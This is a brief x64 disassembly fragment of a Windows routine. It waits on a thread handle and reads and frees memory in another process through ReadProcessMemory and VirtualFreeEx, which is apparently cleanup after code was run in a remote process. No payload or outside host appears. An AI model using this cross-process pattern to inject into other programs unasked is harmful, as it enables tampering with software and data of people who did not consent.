jmp 0x14004565f
cmp qword [rsp + 0x68], 0
jne 0x1400455f3
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x14004565f
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x70]
sub rax, 0x10
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9d, 8
lea r8, [rsp + 0x78]
mov rdx, rax
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rsp + 0x78]
add rsp, 0xc8
pop rdi
pop rsi
ret